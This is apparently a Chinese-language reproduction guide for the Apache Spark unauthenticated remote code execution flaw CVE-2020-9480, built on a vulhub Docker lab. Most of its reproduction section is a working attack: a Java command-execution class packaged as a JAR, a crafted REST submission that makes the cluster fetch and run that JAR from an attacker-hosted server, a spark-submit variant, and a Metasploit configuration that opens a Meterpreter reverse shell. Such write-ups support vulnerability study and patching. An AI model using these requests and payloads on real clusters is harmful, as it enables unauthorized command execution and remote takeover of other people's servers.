Apache Spark 任意代码执行漏洞(CVE-2020-9480)
0x01 漏洞简介
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark的独立资源管理器的主服务器可以通过配置共享密钥进行认证(spark.authenticate),但是在认证启用之后,即使没有共享密钥,也可以通过发送到主服务器的精心构造的远程过程调用指令在Spark集群上成功启动应用程序的资源,攻击者可以利用该漏洞在主机上执行任意命令。
Apache Spark的认证机制存在缺陷, 在开启密钥认证的情况下,未经验证的攻击者仍可通过精心构造的数据包进行远程代码执行。
0x02 影响版本
Apache Spark < = 2.4.5
0x03 环境搭建
下载环境:https://github.com/vulhub/vulhub/tree/master/spark/unacc
docker运行环境:docker-compose up -d
环境启动后,会自动启用三个端口:8080,8081,6066,7077
他们分别为 (1)master的管理页面:http://192.168.237.129:8080/
(2)slave的管理页面:http://your-ip:8081
(3)stadalone模式下,master将在6066端口启动一个http服务器
(4)7077,是在6066端口不能访问的情况下,或做了权限控制,可以利用master的主端口来提交应用。
0x04 漏洞复现
未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。提交方法有两种。
(1)利用REST API
(2)利用submissions网关(集成在7077端口中)
应用可以是Java或Python,就是一个最简单的类,如
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
将其编译成JAR,放在任意一个HTTP或FTP上
//打包成jar包
创建mainfest.mf文件,其中写入:Main-Class: Exploit
javac Exploit.java
jar cvfm Exploit.jar mainfest.mf Exploit.class
python -m http.server
REST API方式提交
standalone模式(Spark集群的三种运行模式之一)下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API。访问并抓包
POST /v1/submissions/create HTTP/1.1
Host: 192.168.237.129:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 631
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf,touche /tmp/success"
],
"appResource": "http://192.168.237.1:8000/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "http://192.168.237.1:8000/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://192.168.237.129:6066"
}
}
# 其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。
拦截抓包改包,会得到返回值:submissionId,然后访问http://192.168.237.129:8081/logPage/?driverId=driver-20221214091542-0000&logType=stdout,即可查看执行结果:
在这里插入图片描述
利用Submissions网关
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用Apache Spark自带的脚本bin/spark-submit:
./spark-submit --master spark://192.168.237.129:7077 --deploy-mode cluster --class Exploit https://192.168.237.130/Exploit.jar id
如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用
或者使用如下方法:
利用msf的模块进行使用
use exploit/linux/http/spark_unauth_rce
set payload java/meterpreter/reverse_tcp
set rhost 被攻击ip
set rport 6066
set lhost 攻击ip
set lport 4444
set srvhost 攻击ip
set srvport 8080
exploit
攻击成功后可以使用sessions -l 查看生成shell
文章来源
发表评论